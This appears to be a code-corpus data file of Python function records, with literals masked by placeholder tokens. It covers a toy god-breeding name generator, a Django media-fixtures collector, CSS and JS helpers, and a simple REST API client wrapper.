{"signature": "def set_name(self):", "body": "if not self.gender: self.set_gender()<EOL>name = '<STR_LIT>'<EOL>if self.gender == female:<EOL><INDENT>name = names.female_names.pop()<EOL><DEDENT>elif self.gender == male:<EOL><INDENT>name = names.male_names.pop()<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>name = names.nb_names.pop()<EOL><DEDENT>except:<EOL><INDENT>name = names.male_names.pop()<EOL><DEDENT><DEDENT>self.name = name<EOL>", "docstring": "Pick a random name from the lists loaded with the model. For Gods that\n        identify as neither M nor F, the model attempts to retrieve an androgynous\n        name. Note: not all of the scraped name lists contain androgynous names.", "id": "f14134:c0:m6"}
{"signature": "def set_epithet(self):", "body": "if self.divinity == human:<EOL><INDENT>obsession = random.choice(self.genome)<EOL>if self.gender == female:<EOL><INDENT>self.epithet = '<STR_LIT>'<EOL><DEDENT>elif self.gender == male:<EOL><INDENT>self.epithet = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.epithet = '<STR_LIT>'<EOL><DEDENT>self.epithet += '<STR_LIT>' + obsession<EOL>return <EOL><DEDENT>if self.gender == female:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>elif self.gender == male:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>if self.divinity == demi_god:<EOL><INDENT>title = '<STR_LIT>' + title if self.gender == non_binary else '<STR_LIT>' + title<EOL><DEDENT>num_domains = npchoice([<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>], <NUM_LIT:1>, p=[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>])[<NUM_LIT:0>]<EOL>if num_domains == <NUM_LIT:1>:<EOL><INDENT>template = '<STR_LIT>'<EOL><DEDENT>if num_domains == <NUM_LIT:2>:<EOL><INDENT>template = '<STR_LIT>'<EOL><DEDENT>elif num_domains == <NUM_LIT:3>:<EOL><INDENT>template = '<STR_LIT>' <EOL><DEDENT>elif num_domains == <NUM_LIT:4>:<EOL><INDENT>template = '<STR_LIT>'<EOL><DEDENT>self.domains = [d.title() for d in random.sample(self.genome, num_domains)]<EOL>self.epithet = template % (title, *self.domains)<EOL>", "docstring": "Divine an appropriate epithet for this God. (See what I did there?)", "id": "f14134:c0:m7"}
{"signature": "def generate_gamete(self, egg_or_sperm_word):", "body": "p_rate_of_mutation = [<NUM_LIT>, <NUM_LIT:0.1>]<EOL>should_use_mutant_pool = (npchoice([<NUM_LIT:0>,<NUM_LIT:1>], <NUM_LIT:1>, p=p_rate_of_mutation)[<NUM_LIT:0>] == <NUM_LIT:1>)<EOL>if should_use_mutant_pool:<EOL><INDENT>pool = tokens.secondary_tokens<EOL><DEDENT>else:<EOL><INDENT>pool = tokens.primary_tokens<EOL><DEDENT>return get_matches(egg_or_sperm_word, pool, <NUM_LIT>)<EOL>", "docstring": "Extract 23 'chromosomes' aka words from 'gene pool' aka list of tokens\n        by searching the list of tokens for words that are related to the given\n        egg_or_sperm_word.", "id": "f14134:c0:m8"}
{"signature": "def print_parents(self):", "body": "if self.gender == female:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>elif self.gender == male:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>p1 = self.parents[<NUM_LIT:0>]<EOL>p2 = self.parents[<NUM_LIT:1>]<EOL>template = '<STR_LIT>'<EOL>print(template % (title, p1.name, p1.epithet, p2.name, p2.epithet))<EOL>", "docstring": "Print parents' names and epithets.", "id": "f14134:c0:m9"}
{"signature": "def send_birth_announcement(parent_a, parent_b, child):", "body": "print(\"<STR_LIT>\" % (child.name, child.epithet))<EOL>", "docstring": "Convenience method for presentations.", "id": "f14135:m0"}
{"signature": "def add_god(self, god):", "body": "self.gods[god.name] = god<EOL>", "docstring": "Add a god to this Pantheon's gods dictionary.", "id": "f14135:c0:m1"}
{"signature": "def get_god(self, name_of_god):", "body": "try:<EOL><INDENT>return self.gods[name_of_god]<EOL><DEDENT>except:<EOL><INDENT>print('<STR_LIT>' % name_of_god)<EOL><DEDENT>", "docstring": "Retrieve a god from this Pantheon's gods dictionary.", "id": "f14135:c0:m2"}
{"signature": "def spawn(self, generations):", "body": "egg_donors = [god for god in self.gods.values() if god.chromosomes == '<STR_LIT>']<EOL>sperm_donors = [god for god in self.gods.values() if god.chromosomes == '<STR_LIT>']<EOL>for i in range(generations):<EOL><INDENT>print(\"<STR_LIT>\" % (i+<NUM_LIT:1>))<EOL>gen_xx = []<EOL>gen_xy = []<EOL>for egg_donor in egg_donors:<EOL><INDENT>sperm_donor = random.choice(sperm_donors)<EOL>brood = self.breed(egg_donor, sperm_donor)<EOL>for child in brood:<EOL><INDENT>if child.divinity > human:<EOL><INDENT>self.add_god(child)<EOL><DEDENT>if child.chromosomes == '<STR_LIT>':<EOL><INDENT>gen_xx.append(child)<EOL><DEDENT>else:<EOL><INDENT>gen_xy.append(child)<EOL><DEDENT><DEDENT><DEDENT>egg_donors = [ed for ed in egg_donors if ed.generation > (i-<NUM_LIT:2>)]<EOL>sperm_donors = [sd for sd in sperm_donors if sd.generation > (i-<NUM_LIT:3>)]<EOL>egg_donors += gen_xx<EOL>sperm_donors += gen_xy<EOL><DEDENT>", "docstring": "Grow this Pantheon by multiplying Gods.", "id": "f14135:c0:m3"}
{"signature": "def breed(self, egg_donor, sperm_donor):", "body": "offspring = []<EOL>try:<EOL><INDENT>num_children = npchoice([<NUM_LIT:1>,<NUM_LIT:2>], <NUM_LIT:1>, p=[<NUM_LIT>, <NUM_LIT>])[<NUM_LIT:0>] <EOL>for _ in range(num_children):<EOL><INDENT>child = God(egg_donor, sperm_donor)<EOL>offspring.append(child)<EOL>send_birth_announcement(egg_donor, sperm_donor, child)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return offspring<EOL>", "docstring": "Get it on.", "id": "f14135:c0:m4"}
{"signature": "def sequence_genes():", "body": "tokenize_corpora()<EOL>", "docstring": "An alias.", "id": "f14136:m0"}
{"signature": "def filter_genes(pool, filters):", "body": "save_tokens_to_dir(pool, filters)<EOL>", "docstring": "An alias.", "id": "f14136:m1"}
{"signature": "def define_gene_pool(pool, individuals):", "body": "make_tokens_dir(pool, individuals)<EOL>", "docstring": "An alias.", "id": "f14136:m2"}
{"signature": "def select_gene_pool(dir_):", "body": "set_token_lists(dir_)<EOL>", "docstring": "An alias.", "id": "f14136:m3"}
{"signature": "def list_gene_pools():", "body": "get_tokens_dirs()<EOL>", "docstring": "An alias.", "id": "f14136:m4"}
{"signature": "def tokenize_texts():", "body": "text_files = [fname for fname in os.listdir(corpora_dir)if fname.split('<STR_LIT:.>')[<NUM_LIT:1>] == '<STR_LIT>']<EOL>for text_fname in text_files:<EOL><INDENT>json_fname = text_fname.split('<STR_LIT:.>')[<NUM_LIT:0>] + '<STR_LIT>'<EOL>if os.path.isfile(corpora_dir + json_fname):<EOL><INDENT>continue <EOL><DEDENT>print(\"<STR_LIT>\" + text_fname)<EOL>text = open(corpora_dir + text_fname).read()<EOL>words = nltk.word_tokenize(text)<EOL>with open(corpora_dir + json_fname, '<STR_LIT:w>') as outjson:<EOL><INDENT>json.dump(words, outjson)<EOL><DEDENT><DEDENT>", "docstring": "Generate a json file for each txt file in the /data/corpora directory.", "id": "f14136:m5"}
{"signature": "def list_tokenized_texts():", "body": "return [f for f in os.listdir(corpora_dir) if f.split('<STR_LIT:.>')[<NUM_LIT:1>] == '<STR_LIT>']<EOL>", "docstring": "Retrieve the filenames of all tokenized text files in /data/corpora.\n    Useful when you want to hand-pick <sources> for make_tokens_dir().", "id": "f14136:m6"}
{"signature": "def make_tokens_dir(dir_, sources):", "body": "os.mkdir(tokens_dir + dir_)<EOL>for source in sources:<EOL><INDENT>if not os.path.isfile(corpora_dir + source):<EOL><INDENT>print('<STR_LIT>' + source)<EOL>return<EOL><DEDENT><DEDENT>with open(tokens_dir + dir_ + '<STR_LIT>', '<STR_LIT:w>') as outjson:<EOL><INDENT>json.dump(sources, outjson)<EOL><DEDENT>", "docstring": "Create a new directory named <dir_>. Create a new file within it called\n    sources.json. The input <sources> is a list of names of tokenized texts.\n    Write <sources> into sources.json.", "id": "f14136:m7"}
{"signature": "def make_tokens_list(dir_, filters):", "body": "with open(tokens_dir + dir_ + '<STR_LIT>', '<STR_LIT:r>') as injson:<EOL><INDENT>data = json.load(injson)<EOL>sources = [corpora_dir + fname for fname in data]<EOL><DEDENT>with open('<STR_LIT>', '<STR_LIT:r>') as f:<EOL><INDENT>skipwords = [line.rstrip() for line in f]<EOL><DEDENT>tokens_list = []<EOL>for fname in sources:<EOL><INDENT>print(\"<STR_LIT>\" + fname)<EOL>with open(fname, '<STR_LIT:r>') as injson:<EOL><INDENT>data = json.load(injson)<EOL>words = [w.lower() for w in data if not w == '<STR_LIT>']<EOL>filtered = [w for w,p in nltk.pos_tag(words) if p in filters]<EOL>sanitized = [w for w in filtered if not w in skipwords]<EOL>tokens_list += sanitized<EOL><DEDENT><DEDENT>tokens_list = list(set(tokens_list)) <EOL>target = tokens_dir + dir_ + '<STR_LIT:/>' + '<STR_LIT:->'.join(filters) + '<STR_LIT>'<EOL>with open(target, '<STR_LIT:w>') as outjson:<EOL><INDENT>json.dump(tokens_list, outjson)<EOL><DEDENT>", "docstring": "Find sources.json in <dir_>. It contains a list of tokenized texts. For\n    each tokenized text listed in sources.json, read its tokens, filter them,\n    and add them to an aggregated list. Write the aggregated list to disk using\n    a filename based on the <filters> given.", "id": "f14136:m8"}
{"signature": "def get_matches(word, tokens, limit, offset=<NUM_LIT:0>):", "body": "return closest(tokens, word_vec(word), limit, offset)<EOL>", "docstring": "Return words from <tokens> that are most closely related to <word>.", "id": "f14137:m0"}
{"signature": "def word_vec(word):", "body": "return nlp.vocab[word].vector<EOL>", "docstring": "Return spaCy's vector for <word>.", "id": "f14137:m1"}
{"signature": "def cosine(vec1, vec2):", "body": "if norm(vec1) > <NUM_LIT:0> and norm(vec2) > <NUM_LIT:0>:<EOL><INDENT>return dot(vec1, vec2) / (norm(vec1) * norm(vec2))<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>", "docstring": "Compare vectors. Borrowed from A. Parish.", "id": "f14137:m2"}
{"signature": "def closest(tokens, search_vec, limit, offset=<NUM_LIT:0>):", "body": "return sorted(tokens,<EOL>key=lambda x: cosine(search_vec, word_vec(x)),<EOL>reverse=True)[offset:offset+limit]<EOL>", "docstring": "Return the <limit> words from <tokens> whose vectors most closely\n    resemble the search_vec. Skip the first <offset> results.", "id": "f14137:m3"}
{"signature": "def set_name_lists(ethnicity=None):", "body": "if not ethnicity: ethnicity = random.choice(get_ethnicities())<EOL>print(\"<STR_LIT>\" + ethnicity)<EOL>filename = names_dir + ethnicity + '<STR_LIT>'<EOL>try:<EOL><INDENT>with open(filename, '<STR_LIT:r>') as injson:<EOL><INDENT>data = json.load(injson)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return '<STR_LIT>' + filename<EOL><DEDENT>else:<EOL><INDENT>names = [ tuple(name.split('<STR_LIT:U+002C>')) for name in data ]<EOL>random.shuffle(names)<EOL>global female_names<EOL>female_names = [name for name,gender,*desc in names if gender == '<STR_LIT>']<EOL>global male_names<EOL>male_names = [name for name,gender,*desc in names if gender == '<STR_LIT>']<EOL>global nb_names<EOL>nb_names = [name for name,gender,*desc in names if gender == '<STR_LIT>']<EOL><DEDENT>", "docstring": "Set three globally available lists of names.", "id": "f14138:m0"}
{"signature": "def get_ethnicities():", "body": "ethnicities = [ fname.split('<STR_LIT:.>')[<NUM_LIT:0>] for fname in os.listdir(names_dir) ]<EOL>return ethnicities<EOL>", "docstring": "Retrieve a list of the ethnicities for which name data was scraped.\n    Exclude the file extension for human friendliness.", "id": "f14138:m1"}
{"signature": "def print_ethnicities():", "body": "print('<STR_LIT>')<EOL>print('<STR_LIT:\\n>'.join(get_ethnicities()))<EOL>print(\"<STR_LIT:\\n>\")<EOL>", "docstring": "Print a list of the ethnicities for which name data was scraped.", "id": "f14138:m2"}
{"signature": "def get_finders():", "body": "if hasattr(settings, '<STR_LIT>'):<EOL><INDENT>finders = settings.MEDIA_FIXTURES_FILES_FINDERS<EOL><DEDENT>else:<EOL><INDENT>finders = (<EOL>'<STR_LIT>',<EOL>)<EOL><DEDENT>for finder_path in finders:<EOL><INDENT>yield get_finder(finder_path)<EOL><DEDENT>", "docstring": "Set the media fixtures finders on settings.py. \nExample:\n    MEDIA_FIXTURES_FILES_FINDERS = (\n        'django_media_fixtures.finders.FileSystemFinder',\n        'django_media_fixtures.finders.AppDirectoriesFinder',  # default\n    )", "id": "f14149:m0"}
{"signature": "@lru_cache.lru_cache(maxsize=None)<EOL>def get_finder(import_path):", "body": "Finder = import_string(import_path)<EOL>if not issubclass(Finder, BaseFinder):<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>' %<EOL>(Finder, BaseFinder))<EOL><DEDENT>return Finder()<EOL>", "docstring": "Imports the media fixtures files finder class described by import_path, where\nimport_path is the full Python path to the class.", "id": "f14149:m1"}
{"signature": "def find(self, path, all=False):", "body": "matches = []<EOL>for prefix, root in self.locations:<EOL><INDENT>if root not in searched_locations:<EOL><INDENT>searched_locations.append(root)<EOL><DEDENT>matched_path = self.find_location(root, path, prefix)<EOL>if matched_path:<EOL><INDENT>if not all:<EOL><INDENT>return matched_path<EOL><DEDENT>matches.append(matched_path)<EOL><DEDENT><DEDENT>return matches<EOL>", "docstring": "Looks for files in the extra locations\nas defined in ``MEDIA_FIXTURES_FILES_DIRS``.", "id": "f14149:c0:m1"}
{"signature": "def find_location(self, root, path, prefix=None):", "body": "if prefix:<EOL><INDENT>prefix = '<STR_LIT>' % (prefix, os.sep)<EOL>if not path.startswith(prefix):<EOL><INDENT>return None<EOL><DEDENT>path = path[len(prefix):]<EOL><DEDENT>path = safe_join(root, path)<EOL>if os.path.exists(path):<EOL><INDENT>return path<EOL><DEDENT>", "docstring": "Finds a requested media file in a location, returning the found\nabsolute path (or ``None`` if no match).", "id": "f14149:c0:m2"}
{"signature": "def list(self, ignore_patterns):", "body": "for prefix, root in self.locations:<EOL><INDENT>storage = self.storages[root]<EOL>for path in utils.get_files(storage, ignore_patterns):<EOL><INDENT>yield path, storage<EOL><DEDENT><DEDENT>", "docstring": "List all files in all locations.", "id": "f14149:c0:m3"}
{"signature": "def list(self, ignore_patterns):", "body": "for storage in six.itervalues(self.storages):<EOL><INDENT>if storage.exists('<STR_LIT>'):  <EOL><INDENT>for path in utils.get_files(storage, ignore_patterns):<EOL><INDENT>yield path, storage<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "List all files in all app storages.", "id": "f14149:c1:m1"}
{"signature": "def find(self, path, all=False):", "body": "matches = []<EOL>for app in self.apps:<EOL><INDENT>app_location = self.storages[app].location<EOL>if app_location not in searched_locations:<EOL><INDENT>searched_locations.append(app_location)<EOL><DEDENT>match = self.find_in_app(app, path)<EOL>if match:<EOL><INDENT>if not all:<EOL><INDENT>return match<EOL><DEDENT>matches.append(match)<EOL><DEDENT><DEDENT>return matches<EOL>", "docstring": "Looks for files in the app directories.", "id": "f14149:c1:m2"}
{"signature": "def find_in_app(self, app, path):", "body": "storage = self.storages.get(app, None)<EOL>if storage:<EOL><INDENT>if storage.exists(path):<EOL><INDENT>matched_path = storage.path(path)<EOL>if matched_path:<EOL><INDENT>return matched_path<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Find a requested media file in an app's media fixtures locations.", "id": "f14149:c1:m3"}
{"signature": "def set_options(self, **options):", "body": "self.interactive = options['<STR_LIT>']<EOL>self.verbosity = options['<STR_LIT>']<EOL>self.symlink = options['<STR_LIT>']<EOL>self.clear = options['<STR_LIT>']<EOL>self.dry_run = options['<STR_LIT>']<EOL>ignore_patterns = options['<STR_LIT>']<EOL>if options['<STR_LIT>']:<EOL><INDENT>ignore_patterns += ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>self.ignore_patterns = list(set(ignore_patterns))<EOL>self.post_process = options['<STR_LIT>']<EOL>", "docstring": "Set instance variables based on an options dict", "id": "f14150:c0:m2"}
{"signature": "def collect(self):", "body": "if self.symlink and not self.local:<EOL><INDENT>raise CommandError(\"<STR_LIT>\")<EOL><DEDENT>if self.clear:<EOL><INDENT>self.clear_dir('<STR_LIT>')<EOL><DEDENT>if self.symlink:<EOL><INDENT>handler = self.link_file<EOL><DEDENT>else:<EOL><INDENT>handler = self.copy_file<EOL><DEDENT>found_files = OrderedDict()<EOL>for finder in get_finders():<EOL><INDENT>for path, storage in finder.list(self.ignore_patterns):<EOL><INDENT>if getattr(storage, '<STR_LIT>', None):<EOL><INDENT>prefixed_path = os.path.join(storage.prefix, path)<EOL><DEDENT>else:<EOL><INDENT>prefixed_path = path<EOL><DEDENT>if prefixed_path not in found_files:<EOL><INDENT>found_files[prefixed_path] = (storage, path)<EOL>handler(path, prefixed_path, storage)<EOL><DEDENT><DEDENT><DEDENT>if self.post_process and hasattr(self.storage, '<STR_LIT>'):<EOL><INDENT>processor = self.storage.post_process(found_files,<EOL>dry_run=self.dry_run)<EOL>for original_path, processed_path, processed in processor:<EOL><INDENT>if isinstance(processed, Exception):<EOL><INDENT>self.stderr.write(\"<STR_LIT>\" % original_path)<EOL>self.stderr.write(\"<STR_LIT>\")<EOL>raise processed<EOL><DEDENT>if processed:<EOL><INDENT>self.log(\"<STR_LIT>\" %<EOL>(original_path, processed_path), level=<NUM_LIT:1>)<EOL>self.post_processed_files.append(original_path)<EOL><DEDENT>else:<EOL><INDENT>self.log(\"<STR_LIT>\" % original_path)<EOL><DEDENT><DEDENT><DEDENT>return {<EOL>'<STR_LIT>': self.copied_files + self.symlinked_files,<EOL>'<STR_LIT>': self.unmodified_files,<EOL>'<STR_LIT>': self.post_processed_files,<EOL>}<EOL>", "docstring": "Perform the bulk of the work of collectmedia.\n\nSplit off from handle() to facilitate testing.", "id": "f14150:c0:m3"}
{"signature": "def log(self, msg, level=<NUM_LIT:2>):", "body": "if self.verbosity >= level:<EOL><INDENT>self.stdout.write(msg)<EOL><DEDENT>", "docstring": "Small log helper", "id": "f14150:c0:m5"}
{"signature": "def clear_dir(self, path):", "body": "dirs, files = self.storage.listdir(path)<EOL>for f in files:<EOL><INDENT>fpath = os.path.join(path, f)<EOL>if self.dry_run:<EOL><INDENT>self.log(\"<STR_LIT>\" %<EOL>smart_text(fpath), level=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.log(\"<STR_LIT>\" % smart_text(fpath), level=<NUM_LIT:1>)<EOL>self.storage.delete(fpath)<EOL><DEDENT><DEDENT>for d in dirs:<EOL><INDENT>self.clear_dir(os.path.join(path, d))<EOL><DEDENT>", "docstring": "Deletes the given relative path using the destination storage backend.", "id": "f14150:c0:m7"}
{"signature": "def delete_file(self, path, prefixed_path, source_storage):", "body": "if self.storage.exists(prefixed_path):<EOL><INDENT>try:<EOL><INDENT>target_last_modified =self.storage.modified_time(prefixed_path)<EOL><DEDENT>except (OSError, NotImplementedError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>source_last_modified = source_storage.modified_time(path)<EOL><DEDENT>except (OSError, NotImplementedError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if self.local:<EOL><INDENT>full_path = self.storage.path(prefixed_path)<EOL><DEDENT>else:<EOL><INDENT>full_path = None<EOL><DEDENT>if (target_last_modified.replace(microsecond=<NUM_LIT:0>)<EOL>>= source_last_modified.replace(microsecond=<NUM_LIT:0>)):<EOL><INDENT>if not ((self.symlink and full_path<EOL>and not os.path.islink(full_path)) or<EOL>(not self.symlink and full_path<EOL>and os.path.islink(full_path))):<EOL><INDENT>if prefixed_path not in self.unmodified_files:<EOL><INDENT>self.unmodified_files.append(prefixed_path)<EOL><DEDENT>self.log(\"<STR_LIT>\" % path)<EOL>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.dry_run:<EOL><INDENT>self.log(\"<STR_LIT>\" % path)<EOL><DEDENT>else:<EOL><INDENT>self.log(\"<STR_LIT>\" % path)<EOL>self.storage.delete(prefixed_path)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks if the target file should be deleted if it already exists", "id": "f14150:c0:m8"}
{"signature": "def link_file(self, path, prefixed_path, source_storage):", "body": "<EOL>if prefixed_path in self.symlinked_files:<EOL><INDENT>return self.log(\"<STR_LIT>\" % path)<EOL><DEDENT>if not self.delete_file(path, prefixed_path, source_storage):<EOL><INDENT>return<EOL><DEDENT>source_path = source_storage.path(path)<EOL>if self.dry_run:<EOL><INDENT>self.log(\"<STR_LIT>\" % source_path, level=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.log(\"<STR_LIT>\" % source_path, level=<NUM_LIT:1>)<EOL>full_path = self.storage.path(prefixed_path)<EOL>try:<EOL><INDENT>os.makedirs(os.path.dirname(full_path))<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if os.path.lexists(full_path):<EOL><INDENT>os.unlink(full_path)<EOL><DEDENT>os.symlink(source_path, full_path)<EOL><DEDENT>except AttributeError:<EOL><INDENT>import platform<EOL>raise CommandError(\"<STR_LIT>\" %<EOL>platform.python_version())<EOL><DEDENT>except NotImplementedError:<EOL><INDENT>import platform<EOL>raise CommandError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % platform.platform())<EOL><DEDENT>except OSError as e:<EOL><INDENT>raise CommandError(e)<EOL><DEDENT><DEDENT>if prefixed_path not in self.symlinked_files:<EOL><INDENT>self.symlinked_files.append(prefixed_path)<EOL><DEDENT>", "docstring": "Attempt to link ``path``", "id": "f14150:c0:m9"}
{"signature": "def copy_file(self, path, prefixed_path, source_storage):", "body": "<EOL>if prefixed_path in self.copied_files:<EOL><INDENT>return self.log(\"<STR_LIT>\" % path)<EOL><DEDENT>if not self.delete_file(path, prefixed_path, source_storage):<EOL><INDENT>return<EOL><DEDENT>source_path = source_storage.path(path)<EOL>if self.dry_run:<EOL><INDENT>self.log(\"<STR_LIT>\" % source_path, level=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.log(\"<STR_LIT>\" % source_path, level=<NUM_LIT:1>)<EOL>with source_storage.open(path) as source_file:<EOL><INDENT>self.storage.save(prefixed_path, source_file)<EOL><DEDENT><DEDENT>self.copied_files.append(prefixed_path)<EOL>", "docstring": "Attempt to copy ``path`` with storage", "id": "f14150:c0:m10"}
{"signature": "def generate_local_url(self, js_name):", "body": "host = self._settings['<STR_LIT>'].format(**self._host_context).rstrip('<STR_LIT:/>')<EOL>return '<STR_LIT>'.format(host, js_name)<EOL>", "docstring": "Generate the local url for a js file.\n:param js_name:\n:return:", "id": "f14158:c0:m6"}
{"signature": "def to_css_length(l):", "body": "if isinstance(l, (int, float)):<EOL><INDENT>return '<STR_LIT>'.format(l)<EOL><DEDENT>else:<EOL><INDENT>return l<EOL><DEDENT>", "docstring": "Return the standard length string of css.\nIt's compatible with number values in old versions.\n:param l: source css length.\n:return: A string.", "id": "f14160:m0"}
{"signature": "@staticmethod<EOL><INDENT>def as_object(data):<DEDENT>", "body": "return json.dumps(data, indent=<NUM_LIT:4>, default=json_encoder)<EOL>", "docstring": "Dump object to multiple-line javascript object.\n:param data:\n:return:", "id": "f14160:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def as_parameters(*parameters, variables=None):<DEDENT>", "body": "s = json.dumps(parameters)<EOL>s = s[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>if variables:<EOL><INDENT>for v in variables:<EOL><INDENT>if v in parameters:<EOL><INDENT>s = s.replace('<STR_LIT:\">' + v + '<STR_LIT:\">', v)<EOL><DEDENT><DEDENT><DEDENT>return s<EOL>", "docstring": "Dump python list as the parameter of javascript function\n:param parameters:\n:param variables:\n:return:", "id": "f14160:c0:m1"}
{"signature": "def ifetch_single(iterable, key, default=EMPTY, getter=None):", "body": "def _getter(item):<EOL><INDENT>if getter:<EOL><INDENT>custom_getter = partial(getter, key=key)<EOL>return custom_getter(item)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>attrgetter = operator.attrgetter(key)<EOL>return attrgetter(item)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>itemgetter = operator.itemgetter(key)<EOL>return itemgetter(item)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if default is not EMPTY:<EOL><INDENT>return default<EOL><DEDENT>raise ValueError('<STR_LIT>' % (item, key))<EOL><DEDENT><DEDENT>return map(_getter, iterable)<EOL>", "docstring": "getter() g(item, key):pass", "id": "f14165:m0"}
{"signature": "def __init__(self, base_url, username='<STR_LIT>', password='<STR_LIT>', oauth_client=None):", "body": "self.base_url = base_url<EOL>self.endpoints = {}<EOL>if oauth_client:<EOL><INDENT>self.request_handler = oauth_client<EOL><DEDENT>else:<EOL><INDENT>self.request_handler = Api._httplib2_init(username, password)<EOL><DEDENT>", "docstring": "Grabs everything we need to connect to a REST API\n            base_url: 'http://google.com'  -- no trailing slashes\n            username = 'travisby@gmail.com'\n            password = 'helloworld'\n            oauth_client = oauth2.client()", "id": "f14195:c0:m0"}
{"signature": "def update_endpoints(self, endpoints):", "body": "self.endpoints.update(endpoints)<EOL>", "docstring": "Adds to the endpoints collection\n    endpoints = {\n        'get_users': 'users',\n        'classes': 'crazyURL/withExtraStuff',\n        'get_user': 'user/%(id)s'  # requires url_data\n        'get_me': 'user/3'  # Don't be afraid to hard code!\n    }", "id": "f14195:c0:m1"}
{"signature": "def clear_endpoints(self):", "body": "self.endpoints = {}<EOL>", "docstring": "Clears all stored endpoints", "id": "f14195:c0:m2"}
{"signature": "def get(self, endpoint, url_data=None, parameters=None):", "body": "return self.request_handler.request(<EOL>self._url(endpoint, url_data, parameters),<EOL>method=Api._method['<STR_LIT>'],<EOL>)<EOL>", "docstring": "Returns the response and body for a get request\n            endpoints = 'users'  # resource to access\n            url_data = {}, ()  # Used to modularize endpoints, see __init__\n            parameters = {}, ((),()) # URL parameters: google.com?q=a&f=b", "id": "f14195:c0:m3"}
{"signature": "def post(self, endpoint, data, url_data=None, parameters=None):", "body": "return self.request_handler.request(<EOL>self._url(endpoint, url_data, parameters),<EOL>method=Api._method['<STR_LIT>'],<EOL>body=urllib.urlencode(data)<EOL>)<EOL>", "docstring": "Returns the response and body for a post request\n            endpoints = 'users'  # resource to access\n            data = {'username': 'blah, 'password': blah}  # POST body\n            url_data = {}, ()  # Used to modularize endpoints, see __init__\n            parameters = {}, ((),()) # URL paramters, ex: google.com?q=a&f=b", "id": "f14195:c0:m4"}
{"signature": "def put(self, endpoint, data, url_data=None, parameters=None):", "body": "return self.request_handler.request(<EOL>self._url(endpoint, url_data, parameters),<EOL>method=Api._method['<STR_LIT>'],<EOL>body=urllib.urlencode(data)<EOL>)<EOL>", "docstring": "Returns the response and body for a put request\n            endpoints = 'users'  # resource to access\n            data = {'username': 'blah, 'password': blah}  # PUT body\n            url_data = {}, ()  # Used to modularize endpoints, see __init__\n            parameters = {}, ((),()) # URL paramters, ex: google.com?q=a&f=b", "id": "f14195:c0:m5"}
{"signature": "def delete(self, endpoint, data, url_data=None, parameters=None):", "body": "return self.request_handler.request(<EOL>self._url(endpoint, url_data, parameters),<EOL>method=Api._method['<STR_LIT>'],<EOL>body=urllib.urlencode(data)<EOL>)<EOL>", "docstring": "Returns the response and body for a delete request\n            endpoints = 'users'  # resource to access\n            data = {'username': 'blah, 'password': blah}  # DELETE body\n            url_data = {}, ()  # Used to modularize endpoints, see __init__\n            parameters = {}, ((),()) # URL paramters, ex: google.com?q=a&f=b", "id": "f14195:c0:m6"}
{"signature": "def head(self, endpoint, url_data=None, parameters=None):", "body": "return self.request_handler.request(<EOL>self._url(endpoint, url_data, parameters),<EOL>method=Api._method['<STR_LIT>']<EOL>)<EOL>", "docstring": "Returns the response and body for a head request\n            endpoints = 'users'  # resource to access\n            url_data = {}, ()  # Used to modularize endpoints, see __init__\n            parameters = {}, ((),()) # URL paramters, ex: google.com?q=a&f=b", "id": "f14195:c0:m7"}
{"signature": "def _url(self, endpoint, url_data=None, parameters=None):", "body": "try:<EOL><INDENT>url = '<STR_LIT>' % (self.base_url, self.endpoints[endpoint])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise EndPointDoesNotExist(endpoint)<EOL><DEDENT>if url_data:<EOL><INDENT>url = url % url_data<EOL><DEDENT>if parameters:<EOL><INDENT>url = '<STR_LIT>' % (url, urllib.urlencode(parameters, True))<EOL><DEDENT>return url<EOL>", "docstring": "Generate URL on the modularized endpoints and url parameters", "id": "f14195:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def _httplib2_init(username, password):<DEDENT>", "body": "obj = httplib2.Http()<EOL>if username and password:<EOL><INDENT>obj.add_credentials(username, password)<EOL><DEDENT>return obj<EOL>", "docstring": "Used to instantiate a regular HTTP request object", "id": "f14195:c0:m9"}
{"signature": "def _accept(self, target):", "body": "if isinstance(target, datetime.timedelta):<EOL><INDENT>target = target.total_seconds()<EOL><DEDENT>if target is None:<EOL><INDENT>target = float('<STR_LIT>')<EOL><DEDENT>return target<EOL>", "docstring": "Accept None or \u221e or datetime or numeric for target", "id": "f14199:c2:m1"}
